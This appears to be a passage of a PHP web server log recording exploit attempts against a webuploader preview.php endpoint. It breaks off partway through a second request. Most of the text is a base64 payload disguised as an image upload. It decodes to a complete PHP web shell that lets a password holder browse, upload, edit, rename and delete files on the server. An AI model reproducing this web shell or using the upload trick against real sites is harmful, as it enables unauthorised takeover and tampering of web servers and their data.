'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:45+08:00 ] 116.213.36.234 POST www.51tianwei.com/ewebeditor/webuploader/0.1.5/server/preview.php [运行时间:0.002450s] [吞吐率:408.17req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'ewebeditor', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 